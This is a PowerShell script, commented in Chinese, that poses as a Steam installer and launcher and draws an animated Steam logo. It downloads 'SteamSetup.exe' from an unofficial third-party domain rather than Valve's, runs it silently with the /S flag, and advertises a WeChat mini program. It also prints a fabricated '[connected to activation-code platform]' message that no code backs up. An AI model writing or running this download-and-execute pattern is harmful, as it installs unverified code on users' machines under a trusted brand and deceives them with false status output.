# 启用 TLS 1.0、TLS 1.1 和 TLS 1.2,确保旧版与新版 Windows 能建立 HTTPS 连接。 [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 -bor [Net.SecurityProtocolType]::Tls11 -bor [Net.SecurityProtocolType]::Tls # 设置遇到错误立即停止,以便统一进入脚本末尾的异常处理。 $ErrorActionPreference = 'Stop' # 定义 Steam 安装程序的 HTTPS 下载地址。 $uri = 'https://ai.vfc77.cn/SteamSetup.exe' # 在当前用户的临时目录中生成 Steam 安装程序保存路径。 $dest = Join-Path $env:TEMP 'SteamSetup.exe' # 开始定义由多行文本组成的 Steam ASCII 标识数组。 $SteamLogo = @( # 定义 Steam ASCII 标识图案的第 1 行文本。 ' _____ _____ _____ _____ _____ ' # 定义 Steam ASCII 标识图案的第 2 行文本。 ' /\ \ /\ \ /\ \ /\ \ /\ \ ' # 定义 Steam ASCII 标识图案的第 3 行文本。 ' /::\ \ /::\ \ /::\ \ /::\ \ /::\____\ ' # 定义 Steam ASCII 标识图案的第 4 行文本。 ' /::::\ \ \:::\ \ /::::\ \ /::::\ \ /::::| | ' # 定义 Steam ASCII 标识图案的第 5 行文本。 ' /::::::\ \ \:::\ \ /::::::\ \ /::::::\ \ /:::::| | ' # 定义 Steam ASCII 标识图案的第 6 行文本。 ' /:::/\:::\ \ \:::\ \ /:::/\:::\ \ /:::/\:::\ \ /::::::| | ' # 定义 Steam ASCII 标识图案的第 7 行文本。 ' /:::/__\:::\ \ \:::\ \ /:::/__\:::\ \ /:::/__\:::\ \ /:::/|::| | ' # 定义 Steam ASCII 标识图案的第 8 行文本。 ' \:::\ \:::\ \ /::::\ \ /::::\ \:::\ \ /::::\ \:::\ \ /:::/ |::| | ' # 定义 Steam ASCII 标识图案的第 9 行文本。 ' ___\:::\ \:::\ \ /::::::\ \ /::::::\ \:::\ \ /::::::\ \:::\ \ /:::/ |::|___|______ ' # 定义 Steam ASCII 标识图案的第 10 行文本。 ' /\ \:::\ \:::\ \ /:::/\:::\ \ /:::/\:::\ \:::\ \ /:::/\:::\ \:::\ \ /:::/ |::::::::\ \' # 定义 Steam ASCII 标识图案的第 11 行文本。 '/::\ \:::\ \:::\____\ /:::/ \:::\____\/:::/__\:::\ \:::\____\/:::/ \:::\ \:::\____\/:::/ |:::::::::\____' # 定义 Steam ASCII 标识图案的第 12 行文本。 '\:::\ \:::\ \::/ / /:::/ \::/ /\:::\ \:::\ \::/ /\::/ \:::\ /:::/ /\::/ / ~~~~~/:::/ ' # 定义 Steam ASCII 标识图案的第 13 行文本。 ' \:::\ \:::\ \/____/ /:::/ / \/____/ \:::\ \:::\ \/____/ \/____/ \:::\/:::/ / \/____/ /:::/ /' # 定义 Steam ASCII 标识图案的第 14 行文本。 ' \:::\ \:::\ \ /:::/ / \:::\ \:::\ \ \::::::/ / /:::/ / ' # 定义 Steam ASCII 标识图案的第 15 行文本。 ' \:::\ \:::\____\ /:::/ / \:::\ \:::\____\ \::::/ / /:::/ / ' # 定义 Steam ASCII 标识图案的第 16 行文本。 ' \:::\ /:::/ / \::/ / \:::\ \::/ / /:::/ / /:::/ / ' # 定义 Steam ASCII 标识图案的第 17 行文本。 ' \:::\/:::/ / \/____/ \:::\ \/____/ /:::/ / /:::/ / ' # 定义 Steam ASCII 标识图案的第 18 行文本。 ' \::::::/ / \:::\ \ /:::/ / /:::/ / ' # 定义 Steam ASCII 标识图案的第 19 行文本。 ' \::::/ / \:::\____\ /:::/ / /:::/ / ' # 定义 Steam ASCII 标识图案的第 20 行文本。 ' \::/ / \::/ / \::/ / \::/ / ' # 定义 Steam ASCII 标识图案的第 21 行文本。 ' \/____/ \/____/ \/____/ \/____/ ' # 结束 Steam ASCII 标识数组定义。 ) # 定义调整控制台宽度的函数,避免 Steam 标识换行变形。 function Set-SteamLogoConsoleWidth { # 声明宽度参数,并将默认宽度设为 132 个字符。 param([int]$Width = 132) # 开始尝试通过 PowerShell 控制台接口调整窗口宽度。 try { # 确认当前使用标准控制台,并且原始界面对象可访问。 if ($Host.Name -eq 'ConsoleHost' -and $Host.UI.RawUI) { # 保存控制台原始界面对象,供后续调整缓冲区和窗口使用。 $raw = $Host.UI.RawUI # 读取当前终端允许的最大窗口尺寸。 $max = $raw.MaxWindowSize # 在期望宽度和终端最大宽度之间选择较小值。 $target = [Math]::Min($Width, $max.Width) # 读取当前控制台缓冲区尺寸。 $buf = $raw.BufferSize # 判断缓冲区宽度是否小于目标宽度。 if ($buf.Width -lt $target) { # 扩大缓冲区宽度,同时保证缓冲区高度至少为 50 行。 $raw.BufferSize = New-Object System.Management.Automation.Host.Size($target, [Math]::Max($buf.Height, 50)) # 结束缓冲区宽度判断。 } # 读取当前控制台窗口尺寸。 $win = $raw.WindowSize # 判断窗口宽度是否小于目标宽度。 if ($win.Width -lt $target) { # 把窗口宽度值更新为目标宽度。 $win.Width = $target # 将更新后的窗口尺寸应用到控制台。 $raw.WindowSize = $win # 结束窗口宽度判断。 } # 结束标准控制台环境判断。 } # 结束 PowerShell 控制台宽度调整尝试。 } # 捕获不支持窗口调整的终端所产生的异常。 catch { # 忽略窗口调整异常,让主安装流程继续运行。 } # 开始尝试使用系统 mode 命令再次设置控制台宽度。 try { # 调用 mode 命令设置列数,并隐藏错误和普通输出。 cmd /c "mode con: cols=$Width" 2>$null | Out-Null # 结束系统 mode 命令调用尝试。 } # 捕获 mode 命令不可用或执行失败时的异常。 catch { # 忽略备用宽度调整异常,避免影响安装流程。 } # 结束控制台宽度调整函数。 } # 定义输出 Steam ASCII 标识的函数。 function Show-SteamLogo { # 开始声明标识输出函数的参数。 param( # 声明输出行数,默认输出标识数组中的全部行。 [int]$RowCount = $SteamLogo.Count # 结束标识输出函数的参数声明。 ) # 在输出标识之前先调整控制台宽度。 Set-SteamLogoConsoleWidth # 限制实际输出行数,防止超过标识数组长度。 $count = [Math]::Min($RowCount, $SteamLogo.Count) # 循环遍历需要显示的每一行标识文本。 for ($i = 0; $i -lt $count; $i++) { # 以青色将当前标识行写入控制台。 Write-Host $SteamLogo[$i] -ForegroundColor Cyan # 结束标识文本逐行输出循环。 } # 结束 Steam 标识输出函数。 } # 定义逐行揭示 Steam 标识的动画函数。 function Show-SteamLogoReveal { # 初始化当前已显示的标识行数。 $revealedRows = 0 # 记录上一次增加显示行数的时间。 $lastReveal = Get-Date # 设置每增加一行标识所需等待的毫秒数。 $revealDelayMs = 20 # 读取标识数组的总行数。 $totalRows = $SteamLogo.Count # 播放动画前先调整控制台宽度。 Set-SteamLogoConsoleWidth # 只要还有标识行未显示,就持续执行动画循环。 while ($revealedRows -lt $totalRows) { # 计算距离上次增加显示行数已经过去的毫秒数。 $elapsed = ((Get-Date) - $lastReveal).TotalMilliseconds # 判断是否已经达到显示下一行的时间间隔。 if ($elapsed -ge $revealDelayMs) { # 将已显示的标识行数增加一行。 $revealedRows++ # 把本次增加行数的时间记录为新的基准时间。 $lastReveal = Get-Date # 结束动画时间间隔判断。 } # 清空控制台,为下一帧动画重新绘制内容。 Clear-Host # 按照当前进度输出对应数量的 Steam 标识行。 Show-SteamLogo -RowCount $revealedRows # 短暂休眠以降低循环占用并平滑动画。 Start-Sleep -Milliseconds 3 # 结束标识逐行揭示动画循环。 } # 结束 Steam 标识动画函数。 } # 定义查找本机 Steam 可执行文件路径的函数。 function Get-SteamExePath { # 开始定义可能保存 Steam 安装路径的注册表位置列表。 $regSources = @( # 添加 64 位 Windows 上 32 位 Steam 的机器级注册表位置。 @{ Path = 'HKLM:\SOFTWARE\WOW6432Node\Valve\Steam'; Name = 'InstallPath' } # 添加 Steam 的标准机器级注册表位置。 @{ Path = 'HKLM:\SOFTWARE\Valve\Steam'; Name = 'InstallPath' } # 添加当前用户 SteamExe 注册表值的位置。 @{ Path = 'HKCU:\Software\Valve\Steam'; Name = 'SteamExe' } # 添加当前用户 SteamPath 注册表值的位置。 @{ Path = 'HKCU:\Software\Valve\Steam'; Name = 'SteamPath' } # 结束 Steam 注册表位置列表定义。 ) # 逐个检查预先定义的 Steam 注册表位置。 foreach ($source in $regSources) { # 判断当前注册表路径是否不存在。 if (-not (Test-Path $source.Path)) { # 路径不存在时跳过当前项并检查下一项。 continue # 结束注册表路径存在性判断。 } # 从当前注册表位置读取对应的 Steam 路径值。 $value = (Get-ItemProperty -Path $source.Path -Name $source.Name -ErrorAction SilentlyContinue).($source.Name) # 判断注册表中是否没有获得有效路径值。 if (-not $value) { # 没有获得路径时跳过当前项并继续检查。 continue # 结束注册表值有效性判断。 } # 判断注册表值是否已经是一个存在的可执行文件路径。 if ($value -like '*.exe' -and (Test-Path $value)) { # 直接返回已经验证存在的 Steam 可执行文件路径。 return $value # 结束直接可执行文件路径判断。 } # 把注册表中的安装目录与 steam.exe 组合成完整路径。 $exePath = Join-Path $value.TrimEnd('\') 'steam.exe' # 检查组合得到的 Steam 可执行文件是否存在。 if (Test-Path $exePath) { # 返回验证存在的 Steam 可执行文件路径。 return $exePath # 结束组合路径存在性判断。 } # 结束所有注册表位置的遍历。 } # 创建用于保存常见 Steam 安装路径的空数组。 $defaultPaths = @() # 检查系统是否提供 32 位程序目录环境变量。 if (${env:ProgramFiles(x86)}) { # 把 32 位程序目录中的默认 Steam 路径加入候选列表。 $defaultPaths += (Join-Path ${env:ProgramFiles(x86)} 'Steam\steam.exe') # 结束 32 位程序目录判断。 } # 检查系统是否提供标准程序目录环境变量。 if ($env:ProgramFiles) { # 把标准程序目录中的默认 Steam 路径加入候选列表。 $defaultPaths += (Join-Path $env:ProgramFiles 'Steam\steam.exe') # 结束标准程序目录判断。 } # 从存在的默认路径中返回第一个匹配项;没有匹配时返回空值。 return $defaultPaths | Where-Object { Test-Path $_ } | Select-Object -First 1 # 结束 Steam 可执行文件路径查找函数。 } # 定义启动 Steam 客户端的函数。 function Start-SteamClient { # 设置最多等待 30 秒来发现 Steam 安装路径的截止时间。 $deadline = (Get-Date).AddSeconds(30) # 开始循环查找并尝试启动 Steam。 do { # 调用路径查找函数获取 Steam 可执行文件位置。 $steamExe = Get-SteamExePath # 判断是否已经找到 Steam 可执行文件。 if ($steamExe) { # 通过已找到的可执行文件路径启动 Steam。 Start-Process -FilePath $steamExe # 启动成功后立即结束当前函数。 return # 结束已找到 Steam 路径的判断。 } # 未找到时等待半秒,避免高频占用处理器。 Start-Sleep -Milliseconds 500 # 在到达 30 秒截止时间前持续执行查找循环。 } while ((Get-Date) -lt $deadline) # 开始尝试通过 Steam 协议链接启动客户端。 try { # 调用 steam:// 协议打开 Steam 主界面。 Start-Process 'steam://open/main' # 协议启动命令成功后结束当前函数。 return # 结束 Steam 协议启动尝试。 } # 捕获系统未注册 Steam 协议等启动异常。 catch { # 忽略协议启动异常,随后给出明确错误。 } # 所有启动方式都失败时抛出未找到 Steam 的错误。 throw '未找到 Steam 安装路径,请手动启动 Steam。' # 结束 Steam 客户端启动函数。 } # 在进入主流程前预先调整控制台宽度。 Set-SteamLogoConsoleWidth # 开始执行脚本的主下载、安装与启动流程。 try { # 在控制台显示完整的 Steam ASCII 标识。 Show-SteamLogo # 隐藏网页下载过程中的进度条,提高脚本执行速度。 $ProgressPreference = 'SilentlyContinue' # 把 Steam 安装程序下载到当前用户的临时目录。 Invoke-WebRequest -Uri $uri -OutFile $dest -UseBasicParsing # 输出一个空行,用于分隔后续提示内容。 Write-Host '' # 获取 ANSI 转义字符,用于输出自定义真彩色文字。 $esc = [char]27 # 以蓝色输出微信小程序提示的前半部分,并保持在当前行。 Write-Host '已开通微信小程序 搜索' -NoNewline -ForegroundColor Blue # 使用橙色真彩色输出“阳星科技”,并保持在当前行。 Write-Host ("{0}[38;2;255;165;0m[阳星科技]{0}[0m" -f $esc) -NoNewline # 以蓝色输出提示的后半部分并结束当前行。 Write-Host '可自定义游戏' -ForegroundColor Blue # 再输出一个空行,使提示区域更易阅读。 Write-Host '' # 等待三秒后再显示平台连接状态。 Start-Sleep -Seconds 3 # 以绿色输出已经连接活动激活码平台的提示。 Write-Host '[已连接活动激活码平台]' -ForegroundColor Green # 输出空行分隔平台状态与下一阶段提示。 Write-Host '' # 等待一秒后显示 Steam 启动阶段提示。 Start-Sleep -Seconds 1 # 以蓝色提示用户脚本即将启动 Steam。 Write-Host '正在启动steam' -ForegroundColor Blue # 再等待一秒,让用户有时间看到启动提示。 Start-Sleep -Seconds 1 # 以静默参数启动安装程序,等待结束并获取退出状态。 $installer = Start-Process -FilePath $dest -ArgumentList '/S' -Wait -PassThru # 检查安装程序是否返回非零退出代码。 if ($installer.ExitCode -ne 0) { # 安装失败时抛出包含具体退出代码的异常。 throw ("SteamSetup 安装失败,退出代码: {0}" -f $installer.ExitCode) # 结束安装程序退出代码检查。 } # 安装成功后查找并启动 Steam 客户端。 Start-SteamClient # 输出空行,分隔安装阶段与关闭倒计时。 Write-Host '' # 从十秒开始循环执行窗口关闭倒计时。 for ($i = 10; $i -ge 1; $i--) { # 在同一行刷新显示当前剩余关闭秒数。 Write-Host -NoNewline ("`r[本窗口将在 {0} 秒后关闭...] " -f $i) -ForegroundColor White # 每次倒计时数字之间等待一秒。 Start-Sleep -Seconds 1 # 结束窗口关闭倒计时循环。 } # 倒计时完成后输出一个换行。 Write-Host '' # 再输出一个空行,保持结束画面整洁。 Write-Host '' # 以成功状态码零结束脚本进程。 exit 0 # 结束脚本主流程的异常保护块。 } # 捕获下载、安装或启动过程中产生的任何异常。 catch { # 以红色输出异常信息,便于用户识别失败原因。 Write-Host ("`n[错误] {0}" -f $_.Exception.Message) -ForegroundColor Red # 以失败状态码一结束脚本进程。 exit 1 # 结束脚本的统一异常处理块。 }